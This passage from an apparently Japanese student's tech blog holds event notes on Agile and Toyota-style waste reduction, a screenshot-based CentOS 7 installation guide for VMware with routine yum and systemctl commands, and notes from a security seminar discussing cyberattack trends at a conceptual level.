メーカ3社のアジャイルでの品質保証へのルール作りの紹介をしていた

  • ユーザー目線品質基準での優先度付け
  • プロセスの軽量化
  • 積極的なツールの活用

Fun Done Learn

Fun Done Learn(楽しかったこと、やったこと、学んだことを共有していくこと) の紹介&チームを作ってやってみる

感想

大企業の事例発表などが多かった
プロジェクトとしてではなく会社全体へAgileを浸透させようとしていた

なお資料は以下にあります

speakerdeck.com

あとでAgile Japan 2019の会場で配られていた缶バッチも貰いました。(上記のスライド参照)
f:id:camera510PC7:20190803213343j:plain:w400

テクニカルセッション

始めよう、ニコカレ!

アジャイルで仕事を可視化するように個人の気持ちも可視化してみよう」ということで気持ちを可視化するツール”ニコカレ”の開発についてのお話でした。個人的にはdigコマンドで自己紹介しているのが面白かったです。自分も独自ドメインを持ったらやってみたいなぁ

www.slideshare.net

カンバンでテスト活動アジャイル化!

カンバンシステムを使ってテストチーム周りのプロセスをアジャイル化してみたというお話でした。

speakerdeck.com

”ただそのままカンバンにタスクを貼るだけでは数が多くなり悲惨なことになった。
そこでタスクに優先順位をつけてかつ分量をサイズ感で見積もった。そして、作業段階毎にサイズによる制限をかけるようにした。 ”

  • 導入効果
    • 状況の可視化で部署の満足感が上がった
    • チームの能力が見えるようになった
    • 高負荷なスケジュールが減った
    • 問題を早期発見できるようになった
  • 今後の課題
    • 目標値のレベルを上げる
    • 制限の最適化を継続
    • 定期的なふりかえりを継続
    • 各課員が自動できるまで進化
    • 他部署へ当仕組みを提案

参考書籍:カンバンソフトウェア開発の変革

ライトニングトーク

「プロダクト開発での2つの難しさ」、「bocciの開発」、「PSP/Scrumに向けて - Agileな開発での個人プロセスとは? -」という3つのLTを聞きました。
特に印象に残ったのは

  • bocciの開発
    アジャイル開発を導入してみたがそれぞれが何をやっているのかどう変更なのかが具体的に見えていなかった。
    コミュニケーションが取れていなかった
    チームで勝たないといけないと考える
    チームに蓄積されるコミュニケーションが大切
    アジャイルの本質はコミュニケーションだ

ということでした。

Agile Japan 2019 長崎サテライト 招待招待講演

登壇者: 和田 憲明 氏

タイトル
アジャイルの現在過去未来。そしてアジャイルを進化させる「ムダ取り」とは。


技術は日々進歩している
ウォーターフォールのほうが学びやすい
まずは開発技術の基礎を学ぶ
やり方ではなく開発技術の本質を学ぶ

  • 技術
    技術力企画力が重視される
    開発技術の基礎を学ぶ

  • コミュニティー
    仲間を見つける

  • 経営
    トヨタ生産方式を学ぶ

”無駄=価値を生まない” を見つける

  • 書籍「トヨタ生産方式
    動くと働くの違い

    見える化は改善の道具
    見える化≠管理の道具

    例)
    「アンドン」による異常の見える化

    1. 現場に混乱を作り出す
    2. 異常(改善する対象)を検出する
    3. その異常を改善する

    だから工場の人は現場に混乱を作り出すために「コンベアの速度を少しアップ」する

    アンドンが常にあおだと改善点がない
    アンドンが黄色にすることで改善点を見つける
    チームで改善する(個人を責めない)
    焦ってはいけない。普通にやる
    →無理は異常を隠す(改善を阻害する)

    ムラをなくす
    粒度をそろえる

    ムラをなくすと
    特異なものがよどみ(=流れを妨げる特異なもの) となって目立つようになる
    よって改善したくなる

    複数のラインを一つにまとめる(混流生産)
    →変化に対応できる(製造数の変動を吸収)

    ムダとは~価値につながる考えかた~

    • トヨタ生産方式(TPS)の概要
      基本思想は「徹底した無駄の排除」
      TPSは無駄を明らかにする仕掛け
      TPSの家

    • ムダの定義
      顧客視点が重要

      例)
      鉄板を曲げる(車に近づく)→顧客にとって価値がある
      鉄板を運搬する→顧客にとって価値がない
      会議→組織にとっては必要だが顧客にとっては価値がない→ムダ(付帯作業)

      100倍してみる
      会議の時間を100倍する→生産性は上がらない→ムダである

    付加価値の時間を延ばし、ムダの時間を少なくし、無駄の時間をなくす

    ムダを発見してみる

    • 7つのムダ
      1. 作りすぎのムダ
        計画より早く生産する、カンバン以上に生産する
        例)使われない機能の実装
      2. 在庫のムダ
        素材、部品、仕掛け品、完成品の在庫
      3. 不良を作るムダ
        破棄、手直しが必要なもの
      4. 加工のムダ
        行程の進みや加工品の精度に寄与しない加工
      5. 運搬のムダ
        必要最小限以上の仮置き、移動、移し替え等
      6. 動作のムダ
        生産活動で付加価値を生まない人の動き
        例)深い位置にあるファイルを取り出すのにムダなクリックが多い
        →リンク、ショートカットを張る
      7. 手持ちのムダ
        仕事量が少ないことにより、手持ちが生じる

    ものを情報に置き換えてみる

    ムリをとる→ムラをとる→ムダをとる→安定
    アチェンジ

    「ムリをとる→ムラをとる→ムダをとる」をし続ける

感想

自分はアジャイルについてITパスポート試験で勉強した程度の知識しかなかったので、知識不足なところがありなかなか理解するのが大変なところもありましたが、「効率のよい開発を追求していこう」という理念は今回のイベント全体を通して学ぶことができました。アジャイルに関する知識が増えたことで将来的にはアジャイル開発に参加してみようという気持ちが高まった良いイベントだったと思います。

CentOS 7 インストール方法

概要

大学の教養セミナーでVMware上にCentOSのインストールをしましたが、トラブルでうまくインストールできなかった人がいたので、インストールマニュアルを作成しました。

事前準備

1.ISOファイルのダウンロード www.centos.org ここからISOをダウンロードする。
インストール手順A【ソフトウェア選択からGNOME Desktopを選択する場合】はDVD ISOを、インストール手順B【ソフトウェアの選択から最小限のインストールを選択し、後でGNOME Desktopをインストールする場合】はMInimal ISOをそれぞれ選択する)

2.VMwareの設定
「新規仮想マシンの作成」からダウンロードしたISOファイルを指定して、今回はストレージ20GB、メモリ2048MB、プロセッサ2コアで仮想マシンを作る。(ホストマシンのスペックに合わせて適切な設定にする)
f:id:camera510PC7:20190601215108p:plain

インストール手順

ここでは(A)ソフトウェアの選択からGNOME Desktopを選択する場合(B)ソフトウェアの選択から最小限のインストールを選択し、後でGNOME Desktopをインストールする場合の二つを紹介する。

A、B共通

1.Install CentOS7を選択する。
f:id:camera510PC7:20190602110846p:plain:w400

2.WELCOME TO CENTOS7 と表示されたら言語設定から日本語を選択し、続行を押す。
f:id:camera510PC7:20190601215350p:plain:w400

3.インストールの概要で「ソフトウェアの選択」をクリックする。
f:id:camera510PC7:20190601215521p:plain:w400

A . ソフトウェアの選択からGNOME Desktopを選択する場合

4.「GNOME Desktop」を選択して、完了を押す。
f:id:camera510PC7:20190601215646p:plain:w400

5.インストールの概要から「インストール先」を選択する。
f:id:camera510PC7:20190601222118p:plain:w400

6.「20GiB VMware Virtual S」 にチェックがついていることを確認して完了を押す。
f:id:camera510PC7:20190601225058p:plain:w400

7.インストールの概要から「ネットワークとホスト名」を選択する。
f:id:camera510PC7:20190601225400p:plain:w400

8.Ethernet(ens33)をオンにして完了を押す。
f:id:camera510PC7:20190601225955p:plain:w400

9.「インストールの開始」を押す。
f:id:camera510PC7:20190601230108p:plain:w400

10.「ROOT パスワード」を選択してrootアカウントのパスワードを設定し完了を押す。
f:id:camera510PC7:20190601230216p:plain:w400
f:id:camera510PC7:20190601230330p:plain:w400

11.「ユーザーの作成」を選択してフルネーム、ユーザー名、パスワードを設定、「このユーザーを管理者にする」にチェックを入れて完了を押す。
f:id:camera510PC7:20190601234519p:plain:w400
f:id:camera510PC7:20190601232259p:plain:w400

12.ユーザーの設定の画面下部に「完了しました!」と表示されたら、その下の「設定完了」を押す。
f:id:camera510PC7:20190601233026p:plain:w400

13.CentOSの準備が終わるまで待ち、画面下部の「再起動」を押す。
f:id:camera510PC7:20190602111225p:plain:w400

14.再起動後、「LICENSE INFORMATION」を押し、ライセンス規約の下部にある「ライセンス契約に同意します」にチェックを入れ、完了を押す。
f:id:camera510PC7:20190602111445p:plain:w400
f:id:camera510PC7:20190602111559p:plain:w400

15.「設定の完了」を押す。
f:id:camera510PC7:20190602111718p:plain:w400

16.設定したユーザー名を選択後、パスワードを入力しサインインする。
f:id:camera510PC7:20190602111831p:plain:w400
f:id:camera510PC7:20190602111845p:plain:w400

17.日本語が選択されていることを確認して次へを押す。
f:id:camera510PC7:20190602111957p:plain:w400

18.日本語(かな漢字)を選択し次へを押す。
f:id:camera510PC7:20190602112135p:plain:w400

19.位置情報のオン、オフとオンラインアカウントへの接続は各自の好みで。
f:id:camera510PC7:20190602112208p:plain:w400
f:id:camera510PC7:20190602112233p:plain:w400

20.「CentOS Linuxを使い始める」を押す。
f:id:camera510PC7:20190602112306p:plain:w400

21.操作方法を確認したらすべて完了。OSの更新をお忘れなく!
f:id:camera510PC7:20190602112336p:plain:w400

B . ソフトウェアの選択から最小限のインストールを選択し、後でGNOME Desktopをインストールする場合

インストール手順Aで「ソフトウェアの設定」をし忘れた場合(再起動後GUIが表示されずCUIしか出ない場合)もこちらの手順となる。その場合は手順13へ

4.「ソフトウェアの選択」で最小限のインストールが選択されていることを確認する。
f:id:camera510PC7:20190602171908p:plain:w400

5.インストールの概要から「インストール先」を選択する。
f:id:camera510PC7:20190602173839p:plain:w400

6.「20GiB VMware Virtual S」 にチェックがついていることを確認して完了を押す。
f:id:camera510PC7:20190601225058p:plain:w400

7.インストールの概要から「ネットワークとホスト名」を選択する。
f:id:camera510PC7:20190602180219p:plain:w400

8.Ethernet(ens33)をオンにして完了を押す。
f:id:camera510PC7:20190601225955p:plain:w400

9.「インストールの開始」を押す。
f:id:camera510PC7:20190602182545p:plain:w400

10.「ROOT パスワード」を選択してrootアカウントのパスワードを設定し完了を押す。
f:id:camera510PC7:20190601230216p:plain:w400
f:id:camera510PC7:20190601230330p:plain:w400

11.「ユーザーの作成」を選択してフルネーム、ユーザー名、パスワードを設定、「このユーザーを管理者にする」にチェックを入れて完了を押す。
f:id:camera510PC7:20190601234519p:plain:w400
f:id:camera510PC7:20190601232259p:plain:w400

12.ユーザーの設定の画面下部に「完了しました!」と表示されたら、その下の「再起動」を押す。
f:id:camera510PC7:20190602111225p:plain:w400

13.rootアカウントでログインする。(rootと入力し、rootアカウントのパスワードを入力する。) f:id:camera510PC7:20190602184103p:plain:w400

14.グループ名の確認をする。

# sudo LANG=C yum grouplist

表示された一覧にGNOME Desktopがあることを確認する。
f:id:camera510PC7:20190602184320p:plain:w400


ここで以下のような画面が出た場合、ネットワークの設定がオフになっている可能性があるのでネットワークの設定をする。 正常にコマンドが実行できた場合は15へ

f:id:camera510PC7:20190530145715p:plain:w400

14-1.ネットワークサービスを止める

# /etc/rc.d/init.d/network stop

f:id:camera510PC7:20190602184632p:plain:w400

14-2.ネットワークの設定を変える

# vi /etc/sysconfig/network-scripts/ifcfg-ens33

viの使い方は以下を参照 www.gi.ce.t.kyoto-u.ac.jp

ONBOOT=noをONBOOT=yesに変えて保存する。
f:id:camera510PC7:20190602185406p:plain:w400
f:id:camera510PC7:20190602185420p:plain:w400

14-3.ネットワークサービスを再開させる。

# /etc/rc.d/init.d/network start

f:id:camera510PC7:20190602190351p:plain:w400

14-4.もう一度グループ名の確認をするコマンドを入力する。

# sudo LANG=C yum grouplist

15.インストールする

# sudo LANG=C yum groupinstall "GNOME Desktop"

16.途中で Is this ok [y/d/N]: と出てきたらyと入力する。
f:id:camera510PC7:20190602190646p:plain:w400

17.「Complete!」と表示されたらデフォルトのランレベルを確認する。 f:id:camera510PC7:20190602191032p:plain:w400

# sudo systemctl get-default

f:id:camera510PC7:20190602191342p:plain:w400

18.ランレベルを変更する。

# sudo systemctl set-default graphical.target

f:id:camera510PC7:20190602191608p:plain:w400

19.再起動させる。

# reboot

20.設定したユーザー名を選択後、パスワードを入力しサインインする。
f:id:camera510PC7:20190602111831p:plain:w400
f:id:camera510PC7:20190602111845p:plain:w400


再起動後にログイン画面ではなく言語選択の画面が出た場合、先に手順21と22をやることになる。 そのあと、位置情報のオンオフ、タイムゾーンの設定(東京、日本)、オンラインアカウントへの接続設定、ユーザー情報の登録をして手順24へ f:id:camera510PC7:20190602192104p:plain:w400
f:id:camera510PC7:20190602192318p:plain:w400
f:id:camera510PC7:20190602192419p:plain:w400
f:id:camera510PC7:20190602192539p:plain:w400


21.日本語が選択されていることを確認する。
f:id:camera510PC7:20190602192618p:plain:w400

22.日本語(かな漢字)を選択する。
f:id:camera510PC7:20190602192757p:plain:w400

23.位置情報のオン、オフとオンラインアカウントへの接続は各自の好みで。
f:id:camera510PC7:20190602112208p:plain:w400
f:id:camera510PC7:20190602112233p:plain:w400

24.「CentOS Linuxを使い始める」を押す。
f:id:camera510PC7:20190602193007p:plain:w400

25.操作方法を確認したらすべて完了。OSの更新をお忘れなく!
f:id:camera510PC7:20190602112336p:plain:w400

OSの更新方法

1.デスクトップで右クリックをし「端末を開く」を選択する。

2.更新するコマンドを入力する。

# sudo yum -y update

3月23日に情報セキュリティ・セミナーに参加してきました

参加のきっかけ

今年の4月から大学のセキュリティ学科に入学します。朝から入学準備説明会に参加していました。家に帰り、たまたまTwitterを見ていたらあるセキュリティ学科の先輩が午後から大学でセキュリティセミナーがあるとTweetしていたので「これは参加せねば」と思い参加しました。

講師の名和 利男 氏はセキュリティ学科のパンフレットにもコメントを寄せておられます。こういった方のお話を聞く絶好の機会でした。

内容

以下はセミナーの後、レジュメを見ながら自分の記憶を頼りに書いたメモ(一部加筆あり)です。もし内容に誤り、抜け漏れがある場合、指摘してください。


テーマ:社会的出来事と連動するサイバー攻撃と今後想定すべきサイバー脅威

ページ番号は当日配布されたレジュメのものである。

P.4

2017年は諸外国がサイバー空間での対策を完了した年である。
(例) ロシアの電子戦能力の保持
なお、日本がサイバー・電子戦対策を強化した防衛大綱を発表したのは2018年12月11日のこと

P.5~6

トレンドは水飲み場攻撃
ターゲットを直接攻撃するのではなくターゲットがアクセスするサーバーに罠を仕掛ける。
(例) 金融監督局のサーバーに侵入される→主要銀行で不正送金の被害

P.7~8

ネットに繋がっていない≠安全
スタンドアローンでも外部媒体経由でマルウェア感染する。(ラテラルムーブメント)
マルウェアがPCのセキュリティ機能を停止させてしまうため対策ソフトが入っていても反応しない。
感染拡大するまでに時間がかかるがシステムに異常が出ないため誰も気づかない。

P.11~12

電力会社をターゲットにした攻撃
発電所・送電ネットワークへ攻撃するのではなく、遠隔監視操作拠点を攻撃する。

P.15~16

アプリ配信プラットフォームでの悪意のあるアプリ配布
連絡先、カメラ、マイク等の権限を取得し外部に送信する。

P.17~18

マルウェアによる仮想通貨のマイニング

個人宅のIoT機器(ゲーム機、コーヒーメーカー、冷蔵庫等)が標的になる。そのため総務省NOTICEを始めた。
名和氏によると「NOTICEは政府による不正アクセスだ」と非難する人はIoT機器がすでに悪用されているという現状を知らないだけだそうだ。
つまり情報セキュリティにおいては正確な現状の認識が重要である。

P.22

スマホは皆、常に持ち歩いているため格好の標的となる。
スマホ音声認識入力(Siri、Googleアシスタント等)、AIスピーカーも盗聴器となりうる。
名和氏のスマホGPSは物理的に破壊してあるそうだ。(位置情報を知られないために)

P.23

P.36

2019年以降のサイバー環境の変化

P.45

セキュリティ事案への対処
認知(ユーザー・システム等)→意思決定(管理者・経営層等)→対処(専門機関)というプロセスが大切

WannaCryはMicrosoftから修正パッチが出ていたのにそれを適用できなかったマシンが感染した。
なぜパッチを当てることのできないマシンがあったのか?
それはパッチが配布されたのが2017年3月であり、近くに株主総会や決算報告を控えシステムを簡単に止められる環境ではなかったことが原因。そして2017年5月までそのままだったマシンが被害にあったということだ。(P.9参照)
この場合、情シスや経理では適切な判断ができない。そこで経営層が状況把握→判断・合意→指示することが重要となる。

質疑応答

Q.強度の高い暗号を利用しても情報を抜き取られてしまうのか?
A. 抜き取られてしまう。攻撃者は暗号化する前のデータを狙うため暗号の強度に関係ない。

Q. セキュリティ人材を育成するための環境はどのようにすればよいのか?
A. 最近は規則が厳しくなり自由なことができなくなってきているので人材育成もしにくくなってきている。人材育成のカリキュラムを受ける人が自由に暴れることができる環境があれば良いのではないか。また日本ではしっかり環境が整っていないため海外の軍隊で実務を積むのが手っ取り早い方法である。

Q. (利便性向上とセキュリティの関係 の話を踏まえ)利便性とセキュリティのバランスの取れた開発はどのようにすればよいのか?
A.(OSi参照モデル を見ながら)今まで上の層のセキュリティを重視した開発・研究が行われてきた。一方下の層(ネットワーク層より下)は昔とあまり変わりがない。下の層のセキュリティを研究して強化していけば良い。

感想

一般の方を対象としたセミナーでしたがこれからセキュリティを専攻する学生にとっても、有意義なものでした。また参加者は高校生から高齢の方まで老若男女問わず多岐に渡っていたのが意外でした。

セミナーが始まる前にスクリーンに映し出されていた、海外のクラッカーたちが電光掲示板をハッキングする映像にかなりの衝撃を受けました。

セミナーの中で名和氏は「目、耳、鼻を使って問題を認知する」という言葉を随所でおっしゃっていました。マルウェアによる仮想通貨のマイニングでも触れていたように情報セキュリティにおいて正確な現状の認識がいかに大切なのかが改めて実感できました。

自分はこのようなセミナーに参加するのは初めてで(今まで参加できるような環境がなかった)お話を聞いて感動し、勢いでこれを書きました。

今後もこのようなセミナーには積極的に参加したいです。